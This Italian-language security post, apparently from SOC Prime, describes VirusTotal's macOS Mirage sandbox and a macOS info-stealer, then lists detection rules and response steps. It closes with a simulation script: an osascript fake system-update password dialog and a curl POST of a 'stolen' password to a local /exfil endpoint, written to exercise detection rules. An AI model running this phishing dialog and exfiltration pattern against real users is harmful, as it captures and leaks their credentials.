SOC Prime Bias: High

14 Oct 2026 12:43 UTC

macOS Mirage: Analisi Dinamica e Rilevamenti Sigma per Apple Silicon

Author Photo
SOC Prime Team linkedin icon Segui
macOS Mirage: Analisi Dinamica e Rilevamenti Sigma per Apple Silicon
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

VirusTotal ha introdotto macOS Mirage, un nuovo sandbox di analisi dinamica progettato specificamente per Apple Silicon (ARM64) e macOS 26. La piattaforma offre telemetria comportamentale ad alta fedeltà e rilevazioni automatizzate Sigma per identificare le minacce macOS in evoluzione, come info-stealer e malware di phishing delle credenziali. Affronta la transizione dai sistemi Intel agli ARM64 operando contro le moderne protezioni, inclusa la Protezione dell’Integrità del Sistema (SIP).

Indagine

Il rapporto analizza un campione di info-stealer per macOS, unix51436504, che utilizza AppleScript per il phishing e payload multi-stage per la persistenza e il furto di dati. I ricercatori hanno rintracciato il malware da un iniziale messaggio ingannevole di richiesta password attraverso la persistenza basata su LaunchDaemons e l’esfiltrazione di dati da Keychain, Safari e Apple Notes. Il sandbox ha mappato con successo questi comportamenti alle tecniche MITRE ATT&CK pertinenti utilizzando le regole Sigma.

Mitigazione

Sebbene non vengano delineate patch software specifiche, il rapporto sottolinea l’importanza di monitorare l’accesso non autorizzato a luoghi sensibili come i database Keychain, TCC.db e LaunchDaemons. Le organizzazioni dovrebbero rilevare l’uso sospetto di utility a riga di comando, inclusi osascript, curl e ditto, quando eseguite in contesti insoliti. È anche critico monitorare i modelli di esecuzione multi-stage e le modifiche inattese ai file in /tmp/ o nelle directory home degli utenti.

Risposta

Quando vengono rilevati questi comportamenti, i responsabili dovrebbero immediatamente isolare il dispositivo macOS interessato per evitare ulteriori esfiltrazioni di dati. Indagare sui meccanismi di persistenza, con particolare attenzione a /Library/LaunchDaemons e ai LaunchAgents a livello utente. Eseguire una revisione completa dei dati Keychain, delle credenziali del browser e delle chiavi SSH per possibili compromessi e reimpostare tutte le credenziali sensibili esposte.

Flusso di Attacco

Stiamo ancora aggiornando questa parte.

Rilevamenti

Possibile Raccolta tramite Input di Credenziali Locali su macOS (via cmdline)

Team SOC Prime
14 Ott 2026

Validazione delle Credenziali su macOS via Dscl Authonly (via cmdline)

Team SOC Prime
14 Ott 2026

Uso Sospetto di Ditto per Archiviazione ed Esfiltrazione di File su macOS (via process_creation)

Team SOC Prime
14 Ott 2026

Tentativo Sospetto di Esecuzione Curl [MacOS] (via cmdline)

Team SOC Prime
14 Ott 2026

Archivio Creato nella Cartella Temporanea di MacOS (via file_event)

Team SOC Prime
14 Ott 2026

IOC (HashSha256) da rilevare: Introduzione a macOS Mirage: Analisi Dinamica di Apple Silicon di Nuova Generazione e Rilevamenti Sigma

Regole AI SOC Prime
14 Ott 2026

IOC (SourceIP) da rilevare: Introduzione a macOS Mirage: Analisi Dinamica di Apple Silicon di Nuova Generazione e Rilevamenti Sigma

Regole AI SOC Prime
14 Ott 2026

IOC (DestinationIP) da rilevare: Introduzione a macOS Mirage: Analisi Dinamica di Apple Silicon di Nuova Generazione e Rilevamenti Sigma

Regole AI SOC Prime
14 Ott 2026

Accesso Non Autorizzato e Installazione di Persistenza su macOS [Evento File Linux]

Regole AI SOC Prime
14 Ott 2026

Phishing delle Credenziali Info-Stealer per macOS [Creazione Processo Linux]

Regole AI SOC Prime
14 Ott 2026

Esecuzione di Simulazione

  • Narrativa e Comandi d’Attacco: Un avversario mira a raccogliere le credenziali degli utenti presentando un dialogo di sistema convincente ma falso. L’attaccante utilizza osascript per attivare una finestra di dialogo su macOS. Per imitare la logica specifica della regola di rilevamento (che cerca un errore di battitura specifico ‘passwen’), lo script utilizzerà intenzionalmente quella stringa. Una volta che l’utente “invia” la falsa password, lo script utilizza curl per POSTare i dati catturati a un ascoltatore remoto, simulando la fase di esfiltrazione di un info-stealer.

  • Script di Test di Regressione:

    #!/bin/bash
    # Simulazione di Phishing delle Credenziali Info-Stealer per macOS
    
    # 1. Attiva il falso dialogo (corrisponde a indicatore1 e indicatore2)
    # Nota: Utilizzando 'passwen' per attivare la logica specifica nella regola di rilevamento
    osascript -e 'set passwen to display dialog "Aggiornamento Sicurezza del Sistema: Inserisci la tua password macOS per continuare" default answer "" with icon caution'
    
    # 2. Simula l'esfiltrazione tramite curl (corrisponde a indicatore3)
    # Simuliamo l'invio della stringa "rubata" a un endpoint locale/remoto
    curl -X POST -d "password=stolen_credential_example" http://localhost:8080/exfil
    
    echo "[+] Simulazione completata. Controlla SIEM per avvisi."
  • Comandi di Pulizia:

    # Nessun file permanente è stato creato durante questa simulazione.
    # Se fossero stati utilizzati file temporanei per l'organizzazione dei dati, verrebbero rimossi qui.
    rm -f /tmp/stolen_creds.txt